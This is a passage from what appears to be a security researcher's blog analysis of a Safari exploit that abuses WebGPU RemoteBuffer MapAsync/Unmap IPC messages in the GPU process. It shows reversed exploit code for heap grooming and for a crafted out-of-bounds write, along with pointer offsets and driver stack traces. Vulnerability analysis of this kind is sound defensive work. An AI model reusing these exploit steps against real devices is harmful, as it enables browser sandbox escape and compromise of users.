chain from a hardcoded offset inside the shared cache:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ls = o(0x1dd453458);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ds = o(Ls.add(256));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ws = o(Ds.add(24);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let vs = o(Ws.add(280));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>At the initial symbol address (</span><span class="YrefKOOkxY-c3">0x1dd453458</span><span>) we find the WebContent process's singleton </span><span class="YrefKOOkxY-c3">process</span><span class="YrefKOOkxY-c5"> object which maintains its state:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebKit:__common:00000001DD453458 WebKit::WebProcess::singleton(void)::process</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Following the offsets we can see they follow this pointer chain to be able to find the mach port right representing the WebProcess's connection to the GPU process:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">process->m_gpuProcessConnection->m_connection->m_sendPort</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The exploit also reads the </span><span class="YrefKOOkxY-c3">m_receivePort</span><span class="YrefKOOkxY-c5"> field allowing it to set up bidirectional communication with the GPU process and fully imitate the WebContent process.</span></p><h3 class="YrefKOOkxY-c6" id="h.munt0tdrkdk4"><span class="YrefKOOkxY-c10">Defining features</span></h3> <p class="YrefKOOkxY-c2"><span>Webkit defines its IPC messages using a simple custom </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://en.wikipedia.org/wiki/Domain-specific_language">DSL</a></span><span> in files ending with the suffix </span><span class="YrefKOOkxY-c3">.messages.in</span><span>. These definitions </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/GPUProcess/graphics/WebGPU/RemoteRenderPipeline.messages.in">look like this</a></span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteRenderPipeline NotRefCounted Stream {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void GetBindGroupLayout(uint32_t index, WebKit::WebGPUIdentifier identifier);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void SetLabel(String label)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span>These are parsed by </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/webkit/parser.py">this python script</a></span><span> to generate the necessary boilerplate code to handle serializing and deserializing the messages. Types which wish to cross the serialization boundary define </span><span class="YrefKOOkxY-c3">::encode</span><span> and </span><span class="YrefKOOkxY-c3">::decode</span><span class="YrefKOOkxY-c5"> methods:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void encode(IPC::Encoder&) const;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">static WARN_UNUSED_RETURN bool decode(IPC::Decoder&, T&);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There are a number of macros defining these coders for the built-in types.</span></p><h3 class="YrefKOOkxY-c6" id="h.5vhwbp8bxk07"><span class="YrefKOOkxY-c10">A pattern appears</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Renaming the methods in the exploit which send IPC messages and reversing some more of their arguments a clear pattern emerges:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">image_buffer_base_id = rand();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (i = 0; i < 34; i++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteRenderingBackend_CreateImageBuffer(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + i);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">remote_device_buffer_id_base = rand();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 2);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 4);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 1);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 6);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 2);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 8);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 3);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 10);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 4);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 12);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 5);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span>This creates 34 </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend</span><span> </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> objects then releases 6 of them and likely reallocates the holes via the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC (passing a size of 16k.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMvJqqmG2DCLJpYJNfKRae4HmTO7gzV50CfUhun8NsLoIDZyaQiinJZWqaqsSLXmWEbh3ZR0un4E5dHo28oA0Ty2yuV9itnV4YScCgS8hmqlYx6XHX8orrZf9dtvSw5DxDB-g0fDxJHClZRkP8-CXxi_7ShGdClRlocHGX_mb6Tk9LPJdeyCBA8ktEjBA/s342/image18.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing a pattern of alternating allocations" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMvJqqmG2DCLJpYJNfKRae4HmTO7gzV50CfUhun8NsLoIDZyaQiinJZWqaqsSLXmWEbh3ZR0un4E5dHo28oA0Ty2yuV9itnV4YScCgS8hmqlYx6XHX8orrZf9dtvSw5DxDB-g0fDxJHClZRkP8-CXxi_7ShGdClRlocHGX_mb6Tk9LPJdeyCBA8ktEjBA/s342/image18.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing a pattern of alternating allocations" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This looks a lot like heap manipulation to place certain objects next to each other in preparation for a buffer overflow. The part which is slightly odd is how simple it seems - there's no evidence of a complex heap-grooming approach here. The diagram above was just my guess at what was probably happening, and reading through the code implementing the IPCs it was not at all obvious where these buffers were actually being allocated.</span></p><h3 class="YrefKOOkxY-c6" id="h.pb35ced4wmi1"><span class="YrefKOOkxY-c10">A strange argument</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">I started to reverse engineer the structure of the IPC messages which looked most relevant, looking for anything which seemed out of place. One pair of messages seemed especially suspicious:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteBuffer::MapAsync</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteBuffer::Unmap</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>These are two messages sent from the Web process to the GPU process, defined in </span><span class="YrefKOOkxY-c3">GPUProcess/graphics/WebGPU/RemoteBuffer.messages.in</span><span> and used in the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://en.wikipedia.org/wiki/WebGPU">WebGPU</a></span><span class="YrefKOOkxY-c5"> implementation.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Whilst the IPC machinery implementing WebGPU exists in Safari, the user-facing javascript API isn't present. It used to be available in </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/safari/technology-preview/">Safari Technology Preview</a></span><span> builds available from Apple but it hasn't been enabled there for some time. </span><span>The W3C WebGPU group's github wiki suggests that when enabling WebGPU support in Safari users should "</span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/gpuweb/gpuweb/wiki/Implementation-Status#safari-in-progress">avoid leaving it enabled when browsing the untrusted web</a></span><span>."</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The IPC definitions for the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> look like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteBuffer NotRefCounted Stream</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void MapAsync(PAL::WebGPU::MapModeFlags mapModeFlags,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> PAL::WebGPU::Size64 offset, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> std::optional<PAL::WebGPU::Size64> size)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (std::optional<Vector<uint8_t>> data) Synchronous</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void Unmap(Vector<uint8_t> data)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>These </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://gpuweb.github.io/gpuweb/explainer/">WebGPU</a></span><span> </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/gpuweb/gpuweb/issues/138">resources</a></span><span class="YrefKOOkxY-c5"> explain the concepts behind these APIs. They're intended to manage sharing buffers between the GPU and CPU:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> moves ownership of a buffer from the GPU to the CPU to allow the CPU to manipulate it without racing the GPU.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> then signals that the CPU is done with the buffer and ownership can return to the GPU.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>In practice the </span><span class="YrefKOOkxY-c3">MapAsync</span><span> IPC returns a copy of the current contents of the WebGPU buffer (at the specified offset) to the CPU as a </span><span class="YrefKOOkxY-c3">Vector<uint8_t></span><span>. </span><span class="YrefKOOkxY-c3">Unmap</span><span> then passes the new contents back to the GPU, also as a </span><span class="YrefKOOkxY-c3">Vector<uint8_t></span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">You might be able to see where this is going...</span></p><h3 class="YrefKOOkxY-c6" id="h.9j5upeezge4b"><span class="YrefKOOkxY-c10">Buffer lifecycles</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">RemoteBuffers</span><span> are created on the WebContent side using the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteDevice NotRefCounted Stream {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void Destroy()</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void CreateBuffer(WebKit::WebGPU::BufferDescriptor descriptor, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::WebGPUIdentifier identifier)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This takes a description of the buffer to create and an identifier to name it. All the calls to this IPC in the exploit used a fixed size of </span><span class="YrefKOOkxY-c3">0x4000</span><span class="YrefKOOkxY-c5"> which is 16KB, the size of a single physical page on iOS.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The first sign that these IPCs were important was the rather strange arguments passed to </span><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> in some places:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>As shown above, this IPC takes a buffer id, an offset and a size to map - in that order. So this IPC call is requesting a mapping of the buffer with id </span><span class="YrefKOOkxY-c3">remote_device_buffer_id_base + m</span><span> at offset </span><span class="YrefKOOkxY-c3">0x4000</span><span> (the very end) of size </span><span class="YrefKOOkxY-c3">0</span><span class="YrefKOOkxY-c5"> (ie nothing.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Directly after this they call </span><span class="YrefKOOkxY-c3">IPC_RemoteBuffer_Unmap</span><span> passing a vector of </span><span class="YrefKOOkxY-c3">40</span><span class="YrefKOOkxY-c5"> bytes as the "new content":</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[0] = 0x7F6F3229LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[1] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[2] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[3] = 0xFFFFLL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[4] = arg_val;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p><h3 class="YrefKOOkxY-c6" id="h.x01rtd7kvp6m"><span class="YrefKOOkxY-c10">Buffer origins</span></h3> <p class="YrefKOOkxY-c2"><span>I spent a considerable time trying to figure out the origin of the underlying pages backing the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> buffer allocations. Statically following the code from Webkit you eventually end up in the userspace-side of the AGX GPU family drivers, which are written in Objective-C. There are plenty of methods with names like </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">id __cdecl -[AGXG15FamilyDevice newBufferWithLength:options:]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>implying responsibility for buffer allocations - but there's no </span><span class="YrefKOOkxY-c3">malloc</span><span>, </span><span class="YrefKOOkxY-c3">mmap</span><span> or </span><span class="YrefKOOkxY-c3">vm_allocate</span><span> in sight.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Using </span><span class="YrefKOOkxY-c3">dtrace</span><span> to dump userspace and kernel stack traces while experimenting with code using the GPU on an M1 macbook, I eventually figured out that this buffer is allocated by the GPU driver itself, which then maps that memory into userspace:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOMemoryDescriptor::createMappingInTask</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOBufferMemoryDescriptor::initWithPhysicalMask</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.AGXG13X`AGXAccelerator::</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> createBufferMemoryDescriptorInTaskWithOptions</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUSysMemory::withOptions</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUResource::newResourceWithOptions</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUDevice::new_resource</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUDeviceUserClient::s_new_resource</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe00263116cc+0x80</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe00263117bc+0x28c</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d326d0+0x184</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c3856c+0x384</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c0e274+0x2c0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c25a64+0x1a4</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c25e80+0x200</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d584a0+0x184</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d62e08+0x5b8</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025be37d0+0x28</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ^</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">--- kernel stack | | userspace stack ---</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">libsystem_kernel.dylib`mach_msg2_trap</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOKit`io_connect_method</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOKit`IOConnectCallMethod</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`IOGPUResourceCreate</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`-[IOGPUMetalResource initWithDevice:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remoteStorageResource:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> args:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> argsSize:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`-[IOGPUMetalBuffer initWithDevice:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pointer:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sysMemSize:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> gpuAddress:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> args:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> argsSize:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> deallocator:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXBuffer(Internal) initWithDevice:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isSuballocDisabled:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> resourceInArgs:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pinnedGPULocation:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXBuffer initWithDevice:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> length:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alignment:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isSuballocDisabled:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pinnedGPULocation:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">AGXMetalG13X`-[AGXG13XFamilyDevice newBufferWithDescriptor:]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOGPU`IOGPUMetalSuballocatorAllocate</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span>The algorithm which </span><span 